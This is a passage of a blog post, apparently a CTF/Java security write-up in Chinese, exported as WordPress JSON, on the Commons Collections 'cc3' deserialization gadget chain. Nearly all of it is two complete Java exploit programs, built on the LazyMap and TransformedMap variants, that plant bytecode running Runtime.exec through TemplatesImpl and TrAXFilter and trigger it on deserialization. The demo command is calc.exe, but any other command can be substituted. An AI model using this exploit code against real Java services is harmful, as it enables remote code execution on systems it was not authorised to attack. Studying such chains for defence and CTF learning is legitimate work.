\/\/\u8865\u5145\u5b9e\u4f8b\u5316\u65b0\u5efa\u7c7b\u6240\u9700\u7684\u6761\u4ef6\n        TemplatesImpl templates = TemplatesImpl.class.newInstance();\n        setFieldValue(templates, "_bytecodes", targetByteCodes);\n        setFieldValue(templates, "_name", "blckder02");\n        setFieldValue(templates, "_class", null);\n        \/\/\u5b9e\u4f8b\u5316\u65b0\u5efa\u7c7b\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})\n        };\n        ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n\n        \/\/\u8c03\u7528get()\u4e2d\u7684transform\u65b9\u6cd5\n        HashMap innermap = new HashMap();\n        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);\n\n        \/\/\u8bbe\u7f6e\u4ee3\u7406\uff0c\u89e6\u53d1invoke()\u8c03\u7528get()\u65b9\u6cd5\n        Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);\n\n        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);\n\n        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);\n\n        try{\n            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(".\/cc3.bin"));\n            outputStream.writeObject(handler2);\n            outputStream.close();\n\n            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(".\/cc3.bin"));\n            inputStream.readObject();\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n\n    }\n    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n        final Field field = getField(obj.getClass(), fieldName);\n        field.set(obj, value);\n    }\n\n    public static Field getField(final Class<?> clazz, final String fieldName) {\n        Field field = null;\n        try {\n            field = clazz.getDeclaredField(fieldName);\n            field.setAccessible(true);\n        }\n        catch (NoSuchFieldException ex) {\n            if (clazz.getSuperclass() != null)\n                field = getField(clazz.getSuperclass(), fieldName);\n        }\n        return field;\n    }\n}<\/code><\/pre>\n
        \u57fa\u4e8eTransformedMap\u94fe<\/h2>\n
        package org.example;\n\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InstantiateTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\nimport javax.xml.transform.Templates;\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc3 {\n    public static void main(String[] args) throws Exception {\n\n        \/\/\u4f7f\u7528Javassit\u65b0\u5efa\u4e00\u4e2a\u542b\u6709static\u7684\u7c7b\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));\n        CtClass cc = pool.makeClass("Cat");\n        String cmd = "java.lang.Runtime.getRuntime().exec(\\"calc.exe\\");";\n        cc.makeClassInitializer().insertBefore(cmd);\n        String randomClassName = "EvilCat" + System.nanoTime();\n        cc.setName(randomClassName);\n        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));\n        cc.writeFile();\n        byte[] classBytes = cc.toBytecode();\n        byte[][] targetByteCodes = new byte[][]{classBytes};\n\n        \/\/\u8865\u5145\u5b9e\u4f8b\u5316\u65b0\u5efa\u7c7b\u6240\u9700\u7684\u6761\u4ef6\n        TemplatesImpl templates = TemplatesImpl.class.newInstance();\n        setFieldValue(templates, "_bytecodes", targetByteCodes);\n        setFieldValue(templates, "_name", "blckder02");\n        setFieldValue(templates, "_class", null);\n        \/\/\u5b9e\u4f8b\u5316\u65b0\u5efa\u7c7b\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(TrAXFilter.class),\n                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})\n        };\n        ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n\n        \/\/\u89e6\u53d1\u5229\u7528\u94fe\n        Map map = new HashMap();\n        map.put("value", "test");\n        Map transformedMap  = TransformedMap.decorate(map, null, transformerChain);\n        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);\n        constructor.setAccessible(true);\n        Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baos);\n        oos.writeObject(instance);\n        oos.close();\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        ObjectInputStream ois = new ObjectInputStream(bais);\n        Object obj = (Object) ois.readObject();\n    }\n\n    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {\n        final Field field = getField(obj.getClass(), fieldName);\n        field.set(obj, value);\n    }\n    public static Field getField(final Class<?> clazz, final String fieldName) {\n        Field field = null;\n        try {\n            field = clazz.getDeclaredField(fieldName);\n            field.setAccessible(true);\n        }\n        catch (NoSuchFieldException ex) {\n            if (clazz.getSuperclass() != null)\n                field = getField(clazz.getSuperclass(), fieldName);\n        }\n        return field;\n    }\n}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
        cc\u94fe3\u7684\u540e\u534a\u90e8\u5206\u4e0ecc\u94fe1\u76f8\u540c\uff0c\u90fd\u662f\u901a\u8fc7TransformedMap\u7c7b\u6216LazyMap\u7c7b\u89e6\u53d1transform\u65b9\u6cd5\uff0c\u4ece\u800c\u89e6\u53d1\u6838\u5fc3\u94fe\uff0c\u4e0ecc1\u4e0d\u540c\u7684\u662f\uff0ccc\u94fe3\u7684\u6838\u5fc3\u94fe\u7528\u5230\u4e86\u7c7b\u5728\u52a0\u8f7d\u521d\u59cb\u5316\u65f6\u4f1a\u81ea\u52a8\u6267\u884c\u9759\u6001\u65b9\u6cd5<\/p>\n","protected":false},"author":1,"featured_media":483,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39,22,42,33],"tags":[15,40,35],"class_list":["post-482","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-java","category-webs","category-42","category-33","tag-ctf","tag-java","tag-35"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/482","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=482"}],"version-history":[{"count":1,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/482\/revisions"}],"predecessor-version":[{"id":484,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/482\/revisions\/484"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/483"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=482"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=482"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=482"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}